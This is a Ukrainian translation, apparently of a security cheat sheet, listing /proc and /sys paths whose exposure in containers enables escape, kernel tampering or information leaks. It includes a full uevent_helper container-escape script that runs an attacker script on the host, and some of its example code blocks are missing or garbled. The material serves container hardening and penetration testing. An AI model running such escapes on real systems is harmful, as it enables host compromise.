Sensitive Mounts
Викладення /proc
та /sys
без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атак та розголошення інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні для несанкціонованого користувача, можуть призвести до втечі контейнера, модифікації хоста або надання інформації, яка допоможе в подальших атаках. Наприклад, неправильне монтування -v /proc:/host/proc
може обійти захист AppArmor через його шляхову природу, залишаючи /host/proc
незахищеним.
Ви можете знайти додаткові деталі щодо кожної потенційної уразливості за посиланням https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
Уразливості procfs
/proc/sys
/proc/sys
Цей каталог дозволяє змінювати ядерні змінні, зазвичай через sysctl(2)
, і містить кілька підкаталогів, що викликають занепокоєння:
/proc/sys/kernel/core_pattern
/proc/sys/kernel/core_pattern
Описано в core(5).
Дозволяє визначити програму для виконання при генерації файлу ядра з першими 128 байтами як аргументами. Це може призвести до виконання коду, якщо файл починається з каналу
|
.Приклад тестування та експлуатації:
/proc/sys/kernel/modprobe
/proc/sys/kernel/modprobe
Детально описано в proc(5).
Містить шлях до завантажувача ядра модулів, який викликається для завантаження ядерних модулів.
Приклад перевірки доступу:
/proc/sys/vm/panic_on_oom
/proc/sys/vm/panic_on_oom
Згадується в proc(5).
Глобальний прапорець, який контролює, чи викликати паніку ядра, чи викликати вбивцю OOM при виникненні умови OOM.
/proc/sys/fs
/proc/sys/fs
Згідно з proc(5), містить параметри та інформацію про файлову систему.
Доступ на запис може дозволити різноманітні атаки відмови обслуговування проти хоста.
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc
Дозволяє реєструвати інтерпретатори для неіноземних бінарних форматів на основі їх магічного числа.
Може призвести до підвищення привілеїв або доступу до оболонки root, якщо
/proc/sys/fs/binfmt_misc/register
доступний для запису.Відповідний експлойт та пояснення:
Підробиці уроку: Посилання на відео
Інші в /proc
/proc
/proc/config.gz
/proc/config.gz
Може розкрити конфігурацію ядра, якщо
CONFIG_IKCONFIG_PROC
увімкнено.Корисно для зловмисників для виявлення вразливостей у робочому ядрі.
/proc/sysrq-trigger
/proc/sysrq-trigger
Дозволяє викликати команди Sysrq, що потенційно можуть призвести до негайних перезавантажень системи або інших критичних дій.
Приклад перезавантаження хоста:
/proc/kmsg
/proc/kmsg
Відкриває повідомлення кільцевого буфера ядра.
Може допомогти в експлойтах ядра, витоках адрес та наданні чутливої системної інформації.
/proc/kallsyms
/proc/kallsyms
Перераховує експортовані символи ядра та їх адреси.
Необхідний для розробки експлойтів ядра, особливо для подолання KASLR.
Інформація про адресу обмежена з
kptr_restrict
, встановленим на1
або2
.Деталі в proc(5).
/proc/[pid]/mem
/proc/[pid]/mem
Взаємодіє з пристроєм пам'яті ядра
/dev/mem
.Історично вразливий до атак підвищення привілеїв.
Докладніше у proc(5).
/proc/kcore
/proc/kcore
Представляє фізичну пам'ять системи у форматі ядра ELF.
Читання може витікати вміст пам'яті хоста та інших контейнерів.
Великий розмір файлу може призвести до проблем з читанням або аварійної зупинки програмного забезпечення.
Докладне використання у Вивантаження /proc/kcore в 2019 році.
/proc/kmem
/proc/kmem
Альтернативний інтерфейс для
/dev/kmem
, що представляє віртуальну пам'ять ядра.Дозволяє читання та запис, отже пряме змінення пам'яті ядра.
/proc/mem
/proc/mem
Альтернативний інтерфейс для
/dev/mem
, що представляє фізичну пам'ять.Дозволяє читання та запис, для зміни всієї пам'яті потрібно розробити віртуальні адреси.
/proc/sched_debug
/proc/sched_debug
Повертає інформацію про планування процесів, обходячи захист PID простору імен.
Розкриває назви процесів, ідентифікатори та ідентифікатори cgroup.
/proc/[pid]/mountinfo
/proc/[pid]/mountinfo
Надає інформацію про точки монтування в просторі імен процесу.
Розкриває місце розташування
rootfs
або зображення контейнера.
Уразливості /sys
/sys
/sys/kernel/uevent_helper
/sys/kernel/uevent_helper
Використовується для обробки подій ядра
uevents
.Запис до
/sys/kernel/uevent_helper
може виконати довільні скрипти при спрацюванніuevent
.Приклад експлуатації: %%%bash
Створює навантаження
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Знаходить шлях хоста з монтування OverlayFS для контейнера
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
Встановлює uevent_helper на шкідливий помічник
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Запускає подію uevent
echo change > /sys/class/mem/null/uevent
Читає вивід
cat /output %%%
/sys/class/thermal
/sys/class/thermal
Контролює налаштування температури, потенційно спричиняючи атаки DoS або фізичні пошкодження.
/sys/kernel/vmcoreinfo
/sys/kernel/vmcoreinfo
Витікає адреси ядра, потенційно компрометуючи KASLR.
/sys/kernel/security
/sys/kernel/security
Містить інтерфейс
securityfs
, що дозволяє налаштування модулів безпеки Linux, таких як AppArmor.Доступ може дозволити контейнеру вимкнути свою систему MAC.
/sys/firmware/efi/vars
та /sys/firmware/efi/efivars
/sys/firmware/efi/vars
та /sys/firmware/efi/efivars
Викриває інтерфейси для взаємодії зі змінними EFI в NVRAM.
Неправильна конфігурація або експлуатація може призвести до "кирпатих" ноутбуків або незавантажуваних хост-машин.
/sys/kernel/debug
/sys/kernel/debug
debugfs
пропонує інтерфейс налагодження "без правил" для ядра.Історія проблем з безпекою через його необмежений характер.
References
Last updated